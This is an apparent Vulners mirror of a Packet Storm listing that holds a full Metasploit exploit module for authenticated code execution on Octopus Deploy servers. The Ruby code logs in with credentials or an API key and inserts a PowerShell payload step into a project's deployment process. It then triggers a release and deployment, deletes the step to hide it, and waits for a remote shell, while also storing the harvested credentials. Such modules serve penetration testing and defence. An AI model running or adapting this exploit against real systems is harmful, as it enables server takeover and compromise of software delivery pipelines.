Lucene search
K

Octopus Deploy Authenticated Code Execution

🗓️ 27 May 2017 00:00:00Reported by James OttenType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 60 Views

Octopus Deploy Authenticated Code Execution. Allows execution of a payload on Octopus Deploy server using valid credentials or API key. Payload executed as powershell script step during deployment

Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core/exploit/powershell'  
require 'json'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Powershell  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Octopus Deploy Authenticated Code Execution',  
'Description' => %q{  
This module can be used to execute a payload on an Octopus Deploy server given  
valid credentials or an API key. The payload is execued as a powershell script step  
on the Octopus Deploy server during a deployment.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'James Otten <jamesotten1[at]gmail.com>' ],  
'References' =>  
[  
# Octopus Deploy docs  
[ 'URL', 'https://octopus.com' ]  
],  
'DefaultOptions' =>  
{  
'WfsDelay' => 30,  
'EXITFUNC' => 'process'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows Powershell', { 'Platform' => [ 'windows' ], 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'May 15 2017'  
))  
  
register_options(  
[  
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),  
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),  
OptString.new('APIKEY', [ false, 'API key to use instead of username and password']),  
OptString.new('PATH', [ true, 'URI of the Octopus Deploy server. Default is /', '/']),  
OptString.new('STEPNAME', [false, 'Name of the script step that will be temporarily added'])  
]  
)  
end  
  
def check  
res = nil  
if datastore['APIKEY']  
res = check_api_key  
elsif datastore['USERNAME'] && datastore['PASSWORD']  
res = do_login  
else  
begin  
fail_with(Failure::BadConfig, 'Need username and password or API key')  
rescue Msf::Exploit::Failed => e  
vprint_error(e.message)  
return CheckCode::Unknown  
end  
end  
disconnect  
return CheckCode::Unknown if res.nil?  
if res.code.between?(400, 499)  
vprint_error("Server rejected the credentials")  
return CheckCode::Unknown  
end  
CheckCode::Appears  
end  
  
def exploit  
# Generate the powershell payload  
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, use_single_quotes: true)  
step_name = datastore['STEPNAME'] || rand_text_alphanumeric(4 + rand(32 - 4))  
session = create_octopus_session unless datastore['APIKEY']  
  
#  
# Get project steps  
#  
print_status("Getting available projects")  
project = get_project(session)  
project_id = project['Id']  
project_name = project['Name']  
print_status("Using project #{project_name}")  
  
print_status("Getting steps to #{project_name}")  
steps = get_steps(session, project_id)  
added_step = make_powershell_step(command, step_name)  
steps['Steps'].insert(0, added_step)  
modified_steps = JSON.pretty_generate(steps)  
  
#  
# Add step  
#  
print_status("Adding step #{step_name} to #{project_name}")  
put_steps(session, project_id, modified_steps)  
  
#  
# Make release  
#  
print_status('Getting available channels')  
channels = get_channel(session, project_id)  
channel = channels['Items'][0]['Id']  
channel_name = channels['Items'][0]['Name']  
print_status("Using channel #{channel_name}")  
  
print_status('Getting next version')  
version = get_version(session, project_id, channel)  
print_status("Using version #{version}")  
  
release_params = {  
"ProjectId" => project_id,  
"ChannelId" => channel,  
"Version" => version,  
"SelectedPackages" => []  
}  
release_params_str = JSON.pretty_generate(release_params)  
print_status('Creating release')  
release_id = do_release(session, release_params_str)  
print_status("Release #{release_id} created")  
  
#  
# Deploy  
#  
dash = do_get_dashboard(session, project_id)  
  
environment = dash['Environments'][0]['Id']  
environment_name = dash['Environments'][0]['Name']  
skip_steps = do_get_skip_steps(session, release_id, environment, step_name)  
deployment_params = {  
'ReleaseId' => release_id,  
'EnvironmentId' => environment,  
'SkipActions' => skip_steps,  
'ForcePackageDownload' => 'False',  
'UseGuidedFailure' => 'False',  
'FormValues' => {}  
}  
deployment_params_str = JSON.pretty_generate(deployment_params)  
print_status("Deploying #{project_name} version #{version} to #{environment_name}")  
do_deployment(session, deployment_params_str)  
  
#  
# Delete step  
#  
print_status("Getting updated steps to #{project_name}")  
steps = get_steps(session, project_id)  
print_status("Deleting step #{step_name} from #{project_name}")  
steps['Steps'].each do |item|  
steps['Steps'].delete(item) if item['Name'] == step_name  
end  
modified_steps = JSON.pretty_generate(steps)  
put_steps(session, project_id, modified_steps)  
print_status("Step #{step_name} deleted")  
  
#  
# Wait for shell  
#  
handler  
end  
  
def get_project(session)  
path = 'api/projects'  
res = send_octopus_get_request(session, path, 'Get projects')  
body = parse_json_response(res)  
body['Items'].each do |item|  
return item if item['IsDisabled'] == false  
end  
fail_with(Failure::Unknown, 'No suitable projects found.')  
end  
  
def get_steps(session, project_id)  
path = "api/deploymentprocesses/deploymentprocess-#{project_id}"  
res = send_octopus_get_request(session, path, 'Get steps')  
body = parse_json_response(res)  
body  
end  
  
def put_steps(session, project_id, steps)  
path = "api/deploymentprocesses/deploymentprocess-#{project_id}"  
send_octopus_put_request(session, path, 'Put steps', steps)  
end  
  
def get_channel(session, project_id)  
path = "api/projects/#{project_id}/channels"  
res = send_octopus_get_request(session, path, 'Get channel')  
parse_json_response(res)  
end  
  
def get_version(session, project_id, channel)  
path = "api/deploymentprocesses/deploymentprocess-#{project_id}/template?channel=#{channel}"  
res = send_octopus_get_request(session, path, 'Get version')  
body = parse_json_response(res)  
body['NextVersionIncrement']  
end  
  
def do_get_skip_steps(session, release, environment, payload_step_name)  
path = "api/releases/#{release}/deployments/preview/#{environment}"  
res = send_octopus_get_request(session, path, 'Get skip steps')  
body = parse_json_response(res)  
skip_steps = []  
body['StepsToExecute'].each do |item|  
if (!item['ActionName'].eql? payload_step_name) && item['CanBeSkipped']  
skip_steps.push(item['ActionId'])  
end  
end  
skip_steps  
end  
  
def do_release(session, params)  
path = 'api/releases'  
res = send_octopus_post_request(session, path, 'Do release', params)  
body = parse_json_response(res)  
body['Id']  
end  
  
def do_get_dashboard(session, project_id)  
path = "api/dashboard/dynamic?includePrevious=true&projects=#{project_id}"  
res = send_octopus_get_request(session, path, 'Get dashboard')  
parse_json_response(res)  
end  
  
def do_deployment(session, params)  
path = 'api/deployments'  
send_octopus_post_request(session, path, 'Do deployment', params)  
end  
  
def make_powershell_step(ps_payload, step_name)  
prop = {  
'Octopus.Action.RunOnServer' => 'true',  
'Octopus.Action.Script.Syntax' => 'PowerShell',  
'Octopus.Action.Script.ScriptSource' => 'Inline',  
'Octopus.Action.Script.ScriptBody' => ps_payload  
}  
step = {  
'Name' => step_name,  
'Environments' => [],  
'Channels' => [],  
'TenantTags' => [],  
'Properties' => { 'Octopus.Action.TargetRoles' => '' },  
'Condition' => 'Always',  
'StartTrigger' => 'StartWithPrevious',  
'Actions' => [ { 'ActionType' => 'Octopus.Script', 'Name' => step_name, 'Properties' => prop } ]  
}  
step  
end  
  
def send_octopus_get_request(session, path, nice_name = '')  
request_path = normalize_uri(datastore['PATH'], path)  
headers = create_request_headers(session)  
res = send_request_raw(  
'method' => 'GET',  
'uri' => request_path,  
'headers' => headers,  
'SSL' => ssl  
)  
check_result_status(res, request_path, nice_name)  
res  
end  
  
def send_octopus_post_request(session, path, nice_name, data)  
res = send_octopus_data_request(session, path, data, 'POST')  
check_result_status(res, path, nice_name)  
res  
end  
  
def send_octopus_put_request(session, path, nice_name, data)  
res = send_octopus_data_request(session, path, data, 'PUT')  
check_result_status(res, path, nice_name)  
res  
end  
  
def send_octopus_data_request(session, path, data, method)  
request_path = normalize_uri(datastore['PATH'], path)  
headers = create_request_headers(session)  
headers['Content-Type'] = 'application/json'  
res = send_request_raw(  
'method' => method,  
'uri' => request_path,  
'headers' => headers,  
'data' => data,  
'SSL' => ssl  
)  
res  
end  
  
def check_result_status(res, request_path, nice_name)  
if !res || res.code < 200 || res.code >= 300  
req_name = nice_name || 'Request'  
fail_with(Failure::UnexpectedReply, "#{req_name} failed #{request_path} [#{res.code} #{res.message}]")  
end  
end  
  
def create_request_headers(session)  
headers = {}  
if session.blank?  
headers['X-Octopus-ApiKey'] = datastore['APIKEY']  
else  
headers['Cookie'] = session  
headers['X-Octopus-Csrf-Token'] = get_csrf_token(session, 'Octopus-Csrf-Token')  
end  
headers  
end  
  
def get_csrf_token(session, csrf_cookie)  
key_vals = session.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/)  
key_vals.each do |name, value|  
return value if name.starts_with?(csrf_cookie)  
end  
fail_with(Failure::Unknown, 'CSRF token not found')  
end  
  
def parse_json_response(res)  
begin  
json = JSON.parse(res.body)  
return json  
rescue JSON::ParserError  
fail_with(Failure::Unknown, 'Failed to parse response json')  
end  
end  
  
def create_octopus_session  
res = do_login  
if res && res.code == 404  
fail_with(Failure::BadConfig, 'Incorrect path')  
elsif !res || (res.code != 200)  
fail_with(Failure::NoAccess, 'Could not initiate session')  
end  
res.get_cookies  
end  
  
def do_login  
json_post_data = JSON.pretty_generate({ Username: datastore['USERNAME'], Password: datastore['PASSWORD'] })  
path = normalize_uri(datastore['PATH'], '/api/users/login')  
res = send_request_raw(  
'method' => 'POST',  
'uri' => path,  
'ctype' => 'application/json',  
'data' => json_post_data,  
'SSL' => ssl  
)  
  
if !res || (res.code != 200)  
print_error("Login failed")  
elsif res.code == 200  
report_octopusdeploy_credential  
end  
  
res  
end  
  
def check_api_key  
headers = {}  
headers['X-Octopus-ApiKey'] = datastore['APIKEY'] || ''  
path = normalize_uri(datastore['PATH'], '/api/serverstatus')  
res = send_request_raw(  
'method' => 'GET',  
'uri' => path,  
'headers' => headers,  
'SSL' => ssl  
)  
  
print_error("Login failed") if !res || (res.code != 200)  
  
vprint_status(res.body)  
  
res  
end  
  
def report_octopusdeploy_credential  
service_data = {  
address: ::Rex::Socket.getaddress(datastore['RHOST'], true),  
port: datastore['RPORT'],  
service_name: (ssl ? "https" : "http"),  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
private_type: :password,  
private_data: datastore['PASSWORD'].downcase,  
username: datastore['USERNAME']  
}  
  
credential_data.merge!(service_data)  
  
credential_core = create_credential(credential_data)  
  
login_data = {  
access_level: 'Admin',  
core: credential_core,  
last_attempted_at: DateTime.now,  
status: Metasploit::Model::Login::Status::SUCCESSFUL  
}  
login_data.merge!(service_data)  
create_credential_login(login_data)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 May 2017 00:00Current
0.3Low risk
Vulners AI Score0.3
60